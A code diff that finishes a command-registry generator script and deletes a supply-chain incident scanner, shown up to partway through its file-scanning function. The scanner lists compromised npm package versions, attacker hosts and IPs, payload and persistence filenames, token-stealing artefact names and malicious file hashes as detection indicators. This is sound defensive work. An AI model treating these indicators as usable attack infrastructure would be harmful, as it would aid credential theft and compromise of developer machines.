.sort(([leftName, leftCount], [rightName, rightCount]) => (
|
||||
rightCount - leftCount || leftName.localeCompare(rightName)
|
||||
))
|
||||
.slice(0, 10)
|
||||
.map(([name, count]) => ({ [keyName]: name, count }));
|
||||
}
|
||||
|
||||
function generateRegistry(options = {}) {
|
||||
const root = options.root || ROOT;
|
||||
const commandFiles = listMarkdownFiles(root, 'commands');
|
||||
const knownAgents = listKnownAgents(root);
|
||||
const knownSkills = listKnownSkills(root);
|
||||
|
||||
const commands = commandFiles.map(filename => (
|
||||
processCommandFile(root, filename, knownAgents, knownSkills)
|
||||
));
|
||||
|
||||
const byType = {};
|
||||
const agentUsage = {};
|
||||
const skillUsage = {};
|
||||
|
||||
for (const command of commands) {
|
||||
byType[command.type] = (byType[command.type] || 0) + 1;
|
||||
for (const agent of command.allAgents) {
|
||||
agentUsage[agent] = (agentUsage[agent] || 0) + 1;
|
||||
}
|
||||
for (const skill of command.skills) {
|
||||
skillUsage[skill] = (skillUsage[skill] || 0) + 1;
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
schemaVersion: 1,
|
||||
totalCommands: commands.length,
|
||||
commands,
|
||||
statistics: {
|
||||
byType: sortCountMap(byType),
|
||||
topAgents: topUsage(agentUsage, 'agent'),
|
||||
topSkills: topUsage(skillUsage, 'skill'),
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function formatRegistry(registry) {
|
||||
return `${JSON.stringify(registry, null, 2)}\n`;
|
||||
}
|
||||
|
||||
function writeRegistry(registry, outputPath = DEFAULT_OUTPUT_PATH) {
|
||||
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
|
||||
fs.writeFileSync(outputPath, formatRegistry(registry), 'utf8');
|
||||
}
|
||||
|
||||
function checkRegistry(registry, outputPath = DEFAULT_OUTPUT_PATH) {
|
||||
const expected = formatRegistry(registry);
|
||||
let current;
|
||||
|
||||
try {
|
||||
current = fs.readFileSync(outputPath, 'utf8');
|
||||
} catch (error) {
|
||||
throw new Error(`Failed to read ${normalizePath(path.relative(ROOT, outputPath))}: ${error.message}`);
|
||||
}
|
||||
|
||||
if (current !== expected) {
|
||||
throw new Error(`${normalizePath(path.relative(ROOT, outputPath))} is out of date; run npm run command-registry:write`);
|
||||
}
|
||||
}
|
||||
|
||||
function formatTextSummary(registry) {
|
||||
const lines = [
|
||||
'Command registry statistics',
|
||||
'',
|
||||
`Total commands: ${registry.totalCommands}`,
|
||||
'',
|
||||
'By type:',
|
||||
];
|
||||
|
||||
for (const [type, count] of Object.entries(registry.statistics.byType)) {
|
||||
lines.push(` ${type}: ${count}`);
|
||||
}
|
||||
|
||||
lines.push('', 'Top agents:');
|
||||
for (const { agent, count } of registry.statistics.topAgents) {
|
||||
lines.push(` ${agent}: ${count}`);
|
||||
}
|
||||
|
||||
lines.push('', 'Top skills:');
|
||||
for (const { skill, count } of registry.statistics.topSkills) {
|
||||
lines.push(` ${skill}: ${count}`);
|
||||
}
|
||||
|
||||
return `${lines.join('\n')}\n`;
|
||||
}
|
||||
|
||||
function parseArgs(argv) {
|
||||
const allowed = new Set(['--json', '--write', '--check']);
|
||||
const flags = new Set();
|
||||
|
||||
for (const arg of argv) {
|
||||
if (!allowed.has(arg)) {
|
||||
throw new Error(`Unknown argument: ${arg}`);
|
||||
}
|
||||
flags.add(arg);
|
||||
}
|
||||
|
||||
return {
|
||||
json: flags.has('--json'),
|
||||
write: flags.has('--write'),
|
||||
check: flags.has('--check'),
|
||||
};
|
||||
}
|
||||
|
||||
function run(argv = process.argv.slice(2), options = {}) {
|
||||
const stdout = options.stdout || process.stdout;
|
||||
const stderr = options.stderr || process.stderr;
|
||||
const outputPath = options.outputPath || DEFAULT_OUTPUT_PATH;
|
||||
|
||||
try {
|
||||
const args = parseArgs(argv);
|
||||
const registry = generateRegistry({ root: options.root || ROOT });
|
||||
|
||||
if (args.check) {
|
||||
checkRegistry(registry, outputPath);
|
||||
stdout.write('Command registry is up to date.\n');
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (args.write) {
|
||||
writeRegistry(registry, outputPath);
|
||||
stdout.write(`Command registry written to ${normalizePath(path.relative(process.cwd(), outputPath))}\n`);
|
||||
return 0;
|
||||
}
|
||||
|
||||
stdout.write(args.json ? formatRegistry(registry) : formatTextSummary(registry));
|
||||
return 0;
|
||||
} catch (error) {
|
||||
stderr.write(`${error.message}\n`);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (require.main === module) {
|
||||
process.exit(run());
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
checkRegistry,
|
||||
extractDescription,
|
||||
extractReferences,
|
||||
formatRegistry,
|
||||
generateRegistry,
|
||||
inferCommandType,
|
||||
parseArgs,
|
||||
run,
|
||||
writeRegistry,
|
||||
};
|
||||
@@ -1,700 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* Scan dependency manifests, lockfiles, AI-tool configs, and installed package
|
||||
* payload paths for active supply-chain incident indicators.
|
||||
*/
|
||||
|
||||
const fs = require('fs');
|
||||
const crypto = require('crypto');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
|
||||
const DEFAULT_ROOT = path.resolve(__dirname, '../..');
|
||||
|
||||
const MALICIOUS_PACKAGE_VERSIONS = {
|
||||
'@beproduct/nestjs-auth': [
|
||||
'0.1.2',
|
||||
'0.1.3',
|
||||
'0.1.4',
|
||||
'0.1.5',
|
||||
'0.1.6',
|
||||
'0.1.7',
|
||||
'0.1.8',
|
||||
'0.1.9',
|
||||
'0.1.10',
|
||||
'0.1.11',
|
||||
'0.1.12',
|
||||
'0.1.13',
|
||||
'0.1.14',
|
||||
'0.1.15',
|
||||
'0.1.16',
|
||||
'0.1.17',
|
||||
'0.1.18',
|
||||
'0.1.19',
|
||||
],
|
||||
'@cap-js/db-service': ['2.10.1'],
|
||||
'@cap-js/postgres': ['2.2.2'],
|
||||
'@cap-js/sqlite': ['2.2.2'],
|
||||
'@dirigible-ai/sdk': ['0.6.2', '0.6.3'],
|
||||
'@draftauth/client': ['0.2.1', '0.2.2'],
|
||||
'@draftauth/core': ['0.13.1', '0.13.2'],
|
||||
'@draftlab/auth': ['0.24.1', '0.24.2'],
|
||||
'@draftlab/auth-router': ['0.5.1', '0.5.2'],
|
||||
'@draftlab/db': ['0.16.1', '0.16.2'],
|
||||
'@mesadev/rest': ['0.28.3'],
|
||||
'@mesadev/saguaro': ['0.4.22'],
|
||||
'@mesadev/sdk': ['0.28.3'],
|
||||
'@ml-toolkit-ts/preprocessing': ['1.0.2', '1.0.3'],
|
||||
'@ml-toolkit-ts/xgboost': ['1.0.3', '1.0.4'],
|
||||
'@mistralai/mistralai': ['2.2.2', '2.2.3', '2.2.4'],
|
||||
'@mistralai/mistralai-azure': ['1.7.1', '1.7.2', '1.7.3'],
|
||||
'@mistralai/mistralai-gcp': ['1.7.1', '1.7.2', '1.7.3'],
|
||||
'@opensearch-project/opensearch': ['3.5.3', '3.6.2', '3.7.0', '3.8.0'],
|
||||
'@squawk/airport-data': ['0.7.4', '0.7.5', '0.7.6', '0.7.7', '0.7.8'],
|
||||
'@squawk/airports': ['0.6.2', '0.6.3', '0.6.4', '0.6.5', '0.6.6'],
|
||||
'@squawk/airspace': ['0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5'],
|
||||
'@squawk/airspace-data': ['0.5.3', '0.5.4', '0.5.5', '0.5.6', '0.5.7'],
|
||||
'@squawk/airway-data': ['0.5.4', '0.5.5', '0.5.6', '0.5.7', '0.5.8'],
|
||||
'@squawk/airways': ['0.4.2', '0.4.3', '0.4.4', '0.4.5', '0.4.6'],
|
||||
'@squawk/fix-data': ['0.6.4', '0.6.5', '0.6.6', '0.6.7', '0.6.8'],
|
||||
'@squawk/fixes': ['0.3.2', '0.3.3', '0.3.4', '0.3.5', '0.3.6'],
|
||||
'@squawk/flight-math': ['0.5.4', '0.5.5', '0.5.6', '0.5.7', '0.5.8'],
|
||||
'@squawk/flightplan': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
|
||||
'@squawk/geo': ['0.4.4', '0.4.5', '0.4.6', '0.4.7', '0.4.8'],
|
||||
'@squawk/icao-registry': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
|
||||
'@squawk/icao-registry-data': ['0.8.4', '0.8.5', '0.8.6', '0.8.7', '0.8.8'],
|
||||
'@squawk/mcp': ['0.9.1', '0.9.2', '0.9.3', '0.9.4', '0.9.5'],
|
||||
'@squawk/navaid-data': ['0.6.4', '0.6.5', '0.6.6', '0.6.7', '0.6.8'],
|
||||
'@squawk/navaids': ['0.4.2', '0.4.3', '0.4.4', '0.4.5', '0.4.6'],
|
||||
'@squawk/notams': ['0.3.6', '0.3.7', '0.3.8', '0.3.9', '0.3.10'],
|
||||
'@squawk/procedure-data': ['0.7.3', '0.7.4', '0.7.5', '0.7.6', '0.7.7'],
|
||||
'@squawk/procedures': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
|
||||
'@squawk/types': ['0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5'],
|
||||
'@squawk/units': ['0.4.3', '0.4.4', '0.4.5', '0.4.6', '0.4.7'],
|
||||
'@squawk/weather': ['0.5.6', '0.5.7', '0.5.8', '0.5.9', '0.5.10'],
|
||||
'@supersurkhet/cli': ['0.0.2', '0.0.3', '0.0.4', '0.0.5', '0.0.6', '0.0.7'],
|
||||
'@supersurkhet/sdk': ['0.0.2', '0.0.3', '0.0.4', '0.0.5', '0.0.6', '0.0.7'],
|
||||
'@tallyui/components': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/connector-medusa': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/connector-shopify': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/connector-vendure': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/connector-woocommerce': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/core': ['0.2.1', '0.2.2', '0.2.3'],
|
||||
'@tallyui/database': ['1.0.1', '1.0.2', '1.0.3'],
|
||||
'@tallyui/pos': ['0.1.1', '0.1.2', '0.1.3'],
|
||||
'@tallyui/storage-sqlite': ['0.2.1', '0.2.2', '0.2.3'],
|
||||
'@tallyui/theme': ['0.2.1', '0.2.2', '0.2.3'],
|
||||
'@tanstack/arktype-adapter': ['1.166.12', '1.166.15'],
|
||||
'@tanstack/eslint-plugin-router': ['1.161.9', '1.161.12'],
|
||||
'@tanstack/eslint-plugin-start': ['0.0.4', '0.0.7'],
|
||||
'@tanstack/history': ['1.161.9', '1.161.12'],
|
||||
'@tanstack/nitro-v2-vite-plugin': ['1.154.12', '1.154.15'],
|
||||
'@tanstack/react-router': ['1.169.5', '1.169.8'],
|
||||
'@tanstack/react-router-devtools': ['1.166.16', '1.166.19'],
|
||||
'@tanstack/react-router-ssr-query': ['1.166.15', '1.166.18'],
|
||||
'@tanstack/react-start': ['1.167.68', '1.167.71'],
|
||||
'@tanstack/react-start-client': ['1.166.51', '1.166.54'],
|
||||
'@tanstack/react-start-rsc': ['0.0.47', '0.0.50'],
|
||||
'@tanstack/react-start-server': ['1.166.55', '1.166.58'],
|
||||
'@tanstack/router-cli': ['1.166.46', '1.166.49'],
|
||||
'@tanstack/router-core': ['1.169.5', '1.169.8'],
|
||||
'@tanstack/router-devtools': ['1.166.16', '1.166.19'],
|
||||
'@tanstack/router-devtools-core': ['1.167.6', '1.167.9'],
|
||||
'@tanstack/router-generator': ['1.166.45', '1.166.48'],
|
||||
'@tanstack/router-plugin': ['1.167.38', '1.167.41'],
|
||||
'@tanstack/router-ssr-query-core': ['1.168.3', '1.168.6'],
|
||||
'@tanstack/router-utils': ['1.161.11', '1.161.14'],
|
||||
'@tanstack/router-vite-plugin': ['1.166.53', '1.166.56'],
|
||||
'@tanstack/solid-router': ['1.169.5', '1.169.8'],
|
||||
'@tanstack/solid-router-devtools': ['1.166.16', '1.166.19'],
|
||||
'@tanstack/solid-router-ssr-query': ['1.166.15', '1.166.18'],
|
||||
'@tanstack/solid-start': ['1.167.65', '1.167.68'],
|
||||
'@tanstack/solid-start-client': ['1.166.50', '1.166.53'],
|
||||
'@tanstack/solid-start-server': ['1.166.54', '1.166.57'],
|
||||
'@tanstack/start-client-core': ['1.168.5', '1.168.8'],
|
||||
'@tanstack/start-fn-stubs': ['1.161.9', '1.161.12'],
|
||||
'@tanstack/start-plugin-core': ['1.169.23', '1.169.26'],
|
||||
'@tanstack/start-server-core': ['1.167.33', '1.167.36'],
|
||||
'@tanstack/start-static-server-functions': ['1.166.44', '1.166.47'],
|
||||
'@tanstack/start-storage-context': ['1.166.38', '1.166.41'],
|
||||
'@tanstack/valibot-adapter': ['1.166.12', '1.166.15'],
|
||||
'@tanstack/virtual-file-routes': ['1.161.10', '1.161.13'],
|
||||
'@tanstack/vue-router': ['1.169.5', '1.169.8'],
|
||||
'@tanstack/vue-router-devtools': ['1.166.16', '1.166.19'],
|
||||
'@tanstack/vue-router-ssr-query': ['1.166.15', '1.166.18'],
|
||||
'@tanstack/vue-start': ['1.167.61', '1.167.64'],
|
||||
'@tanstack/vue-start-client': ['1.166.46', '1.166.49'],
|
||||
'@tanstack/vue-start-server': ['1.166.50', '1.166.53'],
|
||||
'@tanstack/zod-adapter': ['1.166.12', '1.166.15'],
|
||||
'@taskflow-corp/cli': ['0.1.24', '0.1.25', '0.1.26', '0.1.27', '0.1.28', '0.1.29'],
|
||||
'@tolka/cli': ['1.0.2', '1.0.3', '1.0.4', '1.0.5', '1.0.6'],
|
||||
'@uipath/access-policy-sdk': ['0.3.1'],
|
||||
'@uipath/access-policy-tool': ['0.3.1'],
|
||||
'@uipath/agent.sdk': ['0.0.18'],
|
||||
'@uipath/agent-sdk': ['1.0.2'],
|
||||
'@uipath/agent-tool': ['1.0.1'],
|
||||
'@uipath/admin-tool': ['0.1.1'],
|
||||
'@uipath/aops-policy-tool': ['0.3.1'],
|
||||
'@uipath/ap-chat': ['1.5.7'],
|
||||
'@uipath/api-workflow-tool': ['1.0.1'],
|
||||
'@uipath/apollo-core': ['5.9.2'],
|
||||
'@uipath/apollo-react': ['4.24.5'],
|
||||
'@uipath/apollo-wind': ['2.16.2'],
|
||||
'@uipath/auth': ['1.0.1'],
|
||||
'@uipath/case-tool': ['1.0.1'],
|
||||
'@uipath/cli': ['1.0.1'],
|
||||
'@uipath/codedagent-tool': ['1.0.1'],
|
||||
'@uipath/codedagents-tool': ['0.1.12'],
|
||||
'@uipath/codedapp-tool': ['1.0.1'],
|
||||
'@uipath/common': ['1.0.1'],
|
||||
'@uipath/context-grounding-tool': ['0.1.1'],
|
||||
'@uipath/data-fabric-tool': ['1.0.2'],
|
||||
'@uipath/docsai-tool': ['1.0.1'],
|
||||
'@uipath/filesystem': ['1.0.1'],
|
||||
'@uipath/flow-tool': ['1.0.2'],
|
||||
'@uipath/functions-tool': ['1.0.1'],
|
||||
'@uipath/gov-tool': ['0.3.1'],
|
||||
'@uipath/identity-tool': ['0.1.1'],
|
||||
'@uipath/insights-sdk': ['1.0.1'],
|
||||
'@uipath/insights-tool': ['1.0.1'],
|
||||
'@uipath/integrationservice-sdk': ['1.0.2'],
|
||||
'@uipath/integrationservice-tool': ['1.0.2'],
|
||||
'@uipath/llmgw-tool': ['1.0.1'],
|
||||
'@uipath/maestro-sdk': ['1.0.1'],
|
||||
'@uipath/maestro-tool': ['1.0.1'],
|
||||
'@uipath/orchestrator-tool': ['1.0.1'],
|
||||
'@uipath/packager-tool-apiworkflow': ['0.0.19'],
|
||||
'@uipath/packager-tool-bpmn': ['0.0.9'],
|
||||
'@uipath/packager-tool-case': ['0.0.9'],
|
||||
'@uipath/packager-tool-connector': ['0.0.19'],
|
||||
'@uipath/packager-tool-flow': ['0.0.19'],
|
||||
'@uipath/packager-tool-functions': ['0.1.1'],
|
||||
'@uipath/packager-tool-webapp': ['1.0.6'],
|
||||
'@uipath/packager-tool-workflowcompiler': ['0.0.16'],
|
||||
'@uipath/packager-tool-workflowcompiler-browser': ['0.0.34'],
|
||||
'@uipath/platform-tool': ['1.0.1'],
|
||||
'@uipath/project-packager': ['1.1.16'],
|
||||
'@uipath/resource-tool': ['1.0.1'],
|
||||
'@uipath/resourcecatalog-tool': ['0.1.1'],
|
||||
'@uipath/resources-tool': ['0.1.11'],
|
||||
'@uipath/robot': ['1.3.4'],
|
||||
'@uipath/rpa-legacy-tool': ['1.0.1'],
|
||||
'@uipath/rpa-tool': ['0.9.5'],
|
||||
'@uipath/solution-packager': ['0.0.35'],
|
||||
'@uipath/solution-tool': ['1.0.1'],
|
||||
'@uipath/solutionpackager-sdk': ['1.0.11'],
|
||||
'@uipath/solutionpackager-tool-core': ['0.0.34'],
|
||||
'@uipath/tasks-tool': ['1.0.1'],
|
||||
'@uipath/telemetry': ['0.0.7'],
|
||||
'@uipath/test-manager-tool': ['1.0.2'],
|
||||
'@uipath/tool-workflowcompiler': ['0.0.12'],
|
||||
'@uipath/traces-tool': ['1.0.1'],
|
||||
'@uipath/ui-widgets-multi-file-upload': ['1.0.1'],
|
||||
'@uipath/uipath-python-bridge': ['1.0.1'],
|
||||
'@uipath/vertical-solutions-tool': ['1.0.1'],
|
||||
'@uipath/vss': ['0.1.6'],
|
||||
'@uipath/widget.sdk': ['1.2.3'],
|
||||
'agentwork-cli': ['0.1.4', '0.1.5'],
|
||||
'cmux-agent-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.6', '0.1.7', '0.1.8'],
|
||||
'cross-stitch': ['1.1.3', '1.1.4', '1.1.5', '1.1.6', '1.1.7'],
|
||||
'git-branch-selector': ['1.3.3', '1.3.4', '1.3.5', '1.3.6', '1.3.7'],
|
||||
'git-git-git': ['1.0.8', '1.0.9', '1.0.10', '1.0.11', '1.0.12'],
|
||||
'guardrails-ai': ['0.10.1'],
|
||||
'intercom-client': ['7.0.4'],
|
||||
'lightning': ['2.6.2', '2.6.3'],
|
||||
'mbt': ['1.2.48'],
|
||||
'mistralai': ['2.4.6'],
|
||||
'ml-toolkit-ts': ['1.0.4', '1.0.5'],
|
||||
'node-ipc': ['9.1.6', '9.2.3', '10.1.1', '10.1.2', '11.0.0', '11.1.0', '12.0.1'],
|
||||
'nextmove-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.7'],
|
||||
'safe-action': ['0.8.3', '0.8.4'],
|
||||
'ts-dna': ['3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5'],
|
||||
'wot-api': ['0.8.1', '0.8.2', '0.8.3', '0.8.4'],
|
||||
};
|
||||
|
||||
const CRITICAL_TEXT_INDICATORS = [
|
||||
'@tanstack/setup',
|
||||
[
|
||||
'github:tanstack/router#79ac49eedf774dd4b0cf',
|
||||
'a308722bc463cfe5885c',
|
||||
].join(''),
|
||||
[
|
||||
'79ac49eedf774dd4b0cf',
|
||||
'a308722bc463cfe5885c',
|
||||
].join(''),
|
||||
'router_init.js',
|
||||
'router_runtime.js',
|
||||
'tanstack_runner.js',
|
||||
'opensearch_init.js',
|
||||
'vite_setup.mjs',
|
||||
'bun run tanstack_runner.js',
|
||||
'execution.js',
|
||||
'transformers.pyz',
|
||||
'pgmonitor.py',
|
||||
'pgsql-monitor.service',
|
||||
'gh-token-monitor',
|
||||
'com.user.gh-token-monitor',
|
||||
'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
|
||||
[
|
||||
'ab4fcadaec49c032',
|
||||
'78063dd269ea5ee',
|
||||
'f82d24f2124a8e15',
|
||||
'd7b90f2fa8601266c',
|
||||
].join(''),
|
||||
[
|
||||
'2ec78d556d696e20',
|
||||
'8927cc503d48e4b5e',
|
||||
'b56b31abc2870c2e',
|
||||
'd2e98d6be27fc96',
|
||||
].join(''),
|
||||
'svksjrhjkcejg',
|
||||
'filev2.getsession.org',
|
||||
'seed1.getsession.org',
|
||||
'seed2.getsession.org',
|
||||
'seed3.getsession.org',
|
||||
'signalservice',
|
||||
'git-tanstack.com',
|
||||
'litter.catbox.moe/h8nc9u.js',
|
||||
'litter.catbox.moe/7rrc6l.mjs',
|
||||
'83.142.209.194',
|
||||
'api.masscan.cloud',
|
||||
'claude@users.noreply.github.com',
|
||||
'dependabout/',
|
||||
'OhNoWhatsGoingOnWithGitHub',
|
||||
'voicproducoes',
|
||||
'A Mini Shai-Hulud has Appeared',
|
||||
'Shai-Hulud: Here We Go Again',
|
||||
'PUSH UR T3MPRR',
|
||||
'codeql_analysis.yml',
|
||||
'shai-hulud-workflow.yml',
|
||||
[
|
||||
'96097e0612d9575c',
|
||||
'b133021017fb1a5c',
|
||||
'68a03b60f9f3d24e',
|
||||
'bdc0e628d9034144',
|
||||
].join(''),
|
||||
[
|
||||
'449e4265979b5fdb',
|
||||
'2d3446c021af437e',
|
||||
'815debd66de7da2f',
|
||||
'e54f1ad93cbcc75e',
|
||||
].join(''),
|
||||
[
|
||||
'c2f4dc64aec46315',
|
||||
'40a568e88932b61d',
|
||||
'aebbfb7e8281b812',
|
||||
'fa01b7215f9be9ea',
|
||||
].join(''),
|
||||
[
|
||||
'78a82d93b4f58083',
|
||||
'5f5823b85a3d9ee1',
|
||||
'f03a15ee6f0e01b',
|
||||
'4eac86252a7002981',
|
||||
].join(''),
|
||||
'sh.azurestaticprovider.net',
|
||||
'37.16.75.69',
|
||||
'bt.node.js',
|
||||
'__ntw',
|
||||
'__ntRun',
|
||||
'/nt-',
|
||||
'uname.txt',
|
||||
'envs.txt',
|
||||
'fixtures/_paths.txt',
|
||||
];
|
||||
|
||||
const MALICIOUS_FILE_HASHES = {
|
||||
'96097e0612d9575cb133021017fb1a5c68a03b60f9f3d24ebdc0e628d9034144': {
|
||||
indicator: 'node-ipc.cjs sha256',
|
||||
message: 'Known malicious node-ipc CommonJS payload hash is present',
|
||||
},
|
||||
'449e4265979b5fdb2d3446c021af437e815debd66de7da2fe54f1ad93cbcc75e': {
|
||||
indicator: 'node-ipc-9.1.6.tgz sha256',
|
||||
message: 'Known malicious node-ipc tarball hash is present',
|
||||
},
|
||||
'c2f4dc64aec4631540a568e88932b61daebbfb7e8281b812fa01b7215f9be9ea': {
|
||||
indicator: 'node-ipc-9.2.3.tgz sha256',
|
||||
message: 'Known malicious node-ipc tarball hash is present',
|
||||
},
|
||||
'78a82d93b4f580835f5823b85a3d9ee1f03a15ee6f0e01b4eac86252a7002981': {
|
||||
indicator: 'node-ipc-12.0.1.tar.gz sha256',
|
||||
message: 'Known malicious node-ipc tarball hash is present',
|
||||
},
|
||||
};
|
||||
|
||||
const DEPENDENCY_FILENAMES = new Set([
|
||||
'package.json',
|
||||
'package-lock.json',
|
||||
'pnpm-lock.yaml',
|
||||
'yarn.lock',
|
||||
'bun.lock',
|
||||
'pyproject.toml',
|
||||
'poetry.lock',
|
||||
'requirements.txt',
|
||||
]);
|
||||
|
||||
const INSPECT_ONLY_FILENAMES = new Set([
|
||||
'node-ipc.cjs',
|
||||
'node-ipc-9.1.6.tgz',
|
||||
'node-ipc-9.2.3.tgz',
|
||||
'node-ipc-12.0.1.tar.gz',
|
||||
]);
|
||||
|
||||
const PERSISTENCE_FILENAMES = new Set([
|
||||
'settings.json',
|
||||
'tasks.json',
|
||||
'router_runtime.js',
|
||||
'setup.mjs',
|
||||
'pgmonitor.py',
|
||||
'gh-token-monitor.sh',
|
||||
'com.user.gh-token-monitor.plist',
|
||||
'gh-token-monitor.service',
|
||||
'pgsql-monitor.service',
|
||||
'codeql_analysis.yml',
|
||||
'shai-hulud-workflow.yml',
|
||||
]);
|
||||
|
||||
const PAYLOAD_FILENAMES = new Set([
|
||||
'router_init.js',
|
||||
'router_runtime.js',
|
||||
'tanstack_runner.js',
|
||||
'opensearch_init.js',
|
||||
'vite_setup.mjs',
|
||||
'execution.js',
|
||||
'transformers.pyz',
|
||||
'pgmonitor.py',
|
||||
'gh-token-monitor.sh',
|
||||
'com.user.gh-token-monitor.plist',
|
||||
'gh-token-monitor.service',
|
||||
'pgsql-monitor.service',
|
||||
'codeql_analysis.yml',
|
||||
'shai-hulud-workflow.yml',
|
||||
]);
|
||||
|
||||
const IGNORED_DIRS = new Set([
|
||||
'.git',
|
||||
'.next',
|
||||
'.pytest_cache',
|
||||
'__pycache__',
|
||||
'coverage',
|
||||
'dist',
|
||||
'docs',
|
||||
'target',
|
||||
'tests',
|
||||
]);
|
||||
|
||||
function normalizeForMatch(value) {
|
||||
return value.toLowerCase();
|
||||
}
|
||||
|
||||
function isInSpecialConfigPath(filePath) {
|
||||
const normalized = filePath.split(path.sep).join('/');
|
||||
return /\/\.claude\//.test(normalized)
|
||||
|| /\/\.vscode\//.test(normalized)
|
||||
|| /\/\.kiro\/settings\//.test(normalized)
|
||||
|| /\/Library\/LaunchAgents\//.test(normalized)
|
||||
|| /\/\.config\/systemd\/user\//.test(normalized)
|
||||
|| /\/\.local\/bin\//.test(normalized)
|
||||
|| /\/\.github\/workflows\//.test(normalized);
|
||||
}
|
||||
|
||||
function shouldInspectFile(filePath) {
|
||||
const base = path.basename(filePath);
|
||||
if (DEPENDENCY_FILENAMES.has(base)) return true;
|
||||
if (PERSISTENCE_FILENAMES.has(base) && isInSpecialConfigPath(filePath)) return true;
|
||||
if (PAYLOAD_FILENAMES.has(base) && filePath.includes(`${path.sep}node_modules${path.sep}`)) return true;
|
||||
if (INSPECT_ONLY_FILENAMES.has(base)) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
function walkFiles(rootDir, files = []) {
|
||||
if (!fs.existsSync(rootDir)) return files;
|
||||
|
||||
const stat = fs.statSync(rootDir);
|
||||
if (stat.isFile()) {
|
||||
if (shouldInspectFile(rootDir)) files.push(rootDir);
|
||||
return files;
|
||||
}
|
||||
|
||||
for (const entry of fs.readdirSync(rootDir, { withFileTypes: true })) {
|
||||
const fullPath = path.join(rootDir, entry.name);
|
||||
if (entry.isDirectory()) {
|
||||
if (IGNORED_DIRS.has(entry.name) && entry.name !== 'node_modules') continue;
|
||||
if (entry.name === 'node_modules') {
|
||||
walkNodeModules(fullPath, files);
|
||||
} else {
|
||||
walkFiles(fullPath, files);
|
||||
}
|
||||
} else if (entry.isFile() && shouldInspectFile(fullPath)) {
|
||||
files.push(fullPath);
|
||||
}
|
||||
}
|
||||
|
||||
return files;
|
||||
}
|
||||
|
||||
function walkNodeModules(nodeModulesDir, files) {
|
||||
if (!fs.existsSync(nodeModulesDir)) return;
|
||||
|
||||
for (const entry of fs.readdirSync(nodeModulesDir, { withFileTypes: true })) {
|
||||
if (entry.name.startsWith('.')) continue;
|
||||
const fullPath = path.join(nodeModulesDir, entry.name);
|
||||
if (entry.isDirectory()) {
|
||||
if (entry.name.startsWith('@')) {
|
||||
for (const scopedEntry of fs.readdirSync(fullPath, { withFileTypes: true })) {
|
||||
if (scopedEntry.isDirectory()) {
|
||||
inspectPackageDir(path.join(fullPath, scopedEntry.name), files);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
inspectPackageDir(fullPath, files);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function inspectPackageDir(packageDir, files) {
|
||||
for (const filename of [
|
||||
...DEPENDENCY_FILENAMES,
|
||||
...PAYLOAD_FILENAMES,
|
||||
...INSPECT_ONLY_FILENAMES,
|
||||
'setup.mjs',
|
||||
'execution.js',
|
||||
]) {
|
||||
const candidate = path.join(packageDir, filename);
|
||||
if (fs.existsSync(candidate) && fs.statSync(candidate).isFile()) {
|
||||
files.push(candidate);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function readText(filePath) {
|
||||
try {
|
||||
return fs.readFileSync(filePath, 'utf8');
|
||||
} catch {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
function sha256File(filePath) {
|
||||
try {
|
||||
return crypto.createHash('sha256').update(fs.readFileSync(filePath)).digest('hex');
|
||||
} catch {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
function lineForIndex(text, index) {
|
||||
return text.slice(0, index).split(/\r?\n/).length;
|
||||
}
|
||||
|
||||
function escapeRegExp(value) {
|
||||
return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||
}
|
||||
|
||||
function addFinding(findings, severity, filePath, line, indicator, message) {
|
||||
findings.push({ severity, filePath, line, indicator, message });
|
||||
}
|
||||
|
||||
function scanFile(filePath, rootDir, findings) {
|
||||
const base = path.basename(filePath);
|
||||
const relativePath = path.relative(rootDir, filePath) || filePath;
|
||||
const text = readText(filePath);
|
||||
const lowerText = normalizeForMatch(text);
|
||||
const hashFinding = MALICIOUS_FILE_HASHES[sha256File(filePath)];
|
||||
|
||||
if (hashFinding) {
|
||||
addFinding(
|
||||
findings,
|
||||
'critical',
|
||||
relativePath,
|
||||
1,
|
||||
hashFinding.indicator,
|
||||
hashFinding.message,
|
||||
);
|
||||
}
|
||||
|
||||
if (PAYLOAD_FILENAMES.has(base)) {
|
||||
addFinding(
|
||||
findings,
|
||||
'critical',
|
||||
relativePath,
|
||||
1,
|
||||
base,
|
||||
'Known Mini Shai-Hulud/TanStack payload or persistence filename is present',
|
||||
);
|
||||
}
|
||||
|
||||
for (const indicator of CRITICAL_TEXT_INDICATORS) {
|
||||
const index = lowerText.indexOf(normalizeForMatch(indicator));
|
||||
if (index !== -1) {
|
||||
addFinding(
|
||||
findings,
|
||||
'critical',
|
||||
relativePath,
|
||||
lineForIndex(text, index),
|
||||
indicator,
|
||||
'Known active supply-chain IOC is present',
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if (!DEPENDENCY_FILENAMES.has(base)) return;
|
||||
|
||||
